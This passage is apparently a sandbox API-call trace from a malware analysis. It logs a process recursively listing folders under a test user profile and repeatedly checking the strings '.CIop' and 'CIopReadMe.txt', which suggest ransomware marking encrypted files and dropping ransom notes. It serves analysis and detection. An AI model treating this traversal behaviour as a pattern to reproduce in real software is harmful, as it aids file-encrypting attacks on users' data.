returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0158.987] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.987] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0158.987] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0158.987] lstrlenW (lpString=".CIop") returned 5 [0158.987] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.987] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.987] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.987] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0158.987] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.987] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0158.987] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0158.987] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.987] SetErrorMode (uMode=0x1) returned 0x1 [0158.987] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0158.987] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0158.988] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.988] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0158.988] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0158.988] lstrlenW (lpString=".CIop") returned 5 [0158.988] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.988] lstrlenW (lpString="desktop.ini") returned 11 [0158.988] lstrlenW (lpString=".CIop") returned 5 [0158.988] lstrlenW (lpString=".CIop") returned 5 [0158.988] lstrlenW (lpString=".CIop") returned 5 [0158.988] lstrlenW (lpString=".CIop") returned 5 [0158.988] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0158.988] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.988] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0158.988] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0158.988] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0158.988] SetErrorMode (uMode=0x1) returned 0x1 [0158.988] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0158.988] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0158.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0158.988] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.988] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0158.989] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0158.989] lstrlenW (lpString=".CIop") returned 5 [0158.989] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.989] lstrlenW (lpString=".CIop") returned 5 [0158.989] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0158.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0158.989] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.989] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0158.989] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0158.989] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0158.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0158.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0158.989] SetErrorMode (uMode=0x1) returned 0x1 [0158.989] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0158.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0158.989] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0158.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0158.989] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0158.989] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0158.989] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0158.989] lstrlenW (lpString=".CIop") returned 5 [0158.989] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.989] lstrlenW (lpString=".CIop") returned 5 [0158.990] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0158.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0158.990] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0158.990] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0158.990] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0158.990] SetErrorMode (uMode=0x1) returned 0x1 [0158.990] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0158.990] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0158.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0158.990] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0158.990] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0158.990] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.990] lstrlenW (lpString=".CIop") returned 5 [0158.990] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0158.990] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0158.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0158.990] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0158.990] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0158.991] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.991] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.991] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.991] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.991] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.991] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.991] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.991] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.991] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0158.991] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0158.991] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0158.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0158.991] SetErrorMode (uMode=0x1) returned 0x1 [0158.991] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0158.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0158.991] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0158.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0158.991] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.991] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0158.991] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0158.991] lstrlenW (lpString=".CIop") returned 5 [0158.991] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0158.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0158.992] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.992] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0158.992] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0158.992] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0158.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0158.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0158.992] SetErrorMode (uMode=0x1) returned 0x1 [0158.992] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0158.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0158.992] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0158.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0158.992] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddf8 [0158.992] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0158.992] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.992] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.992] lstrlenW (lpString=".CIop") returned 5 [0158.993] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0158.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0158.993] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0158.993] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0158.993] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0158.993] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.993] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.993] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.993] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0158.993] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 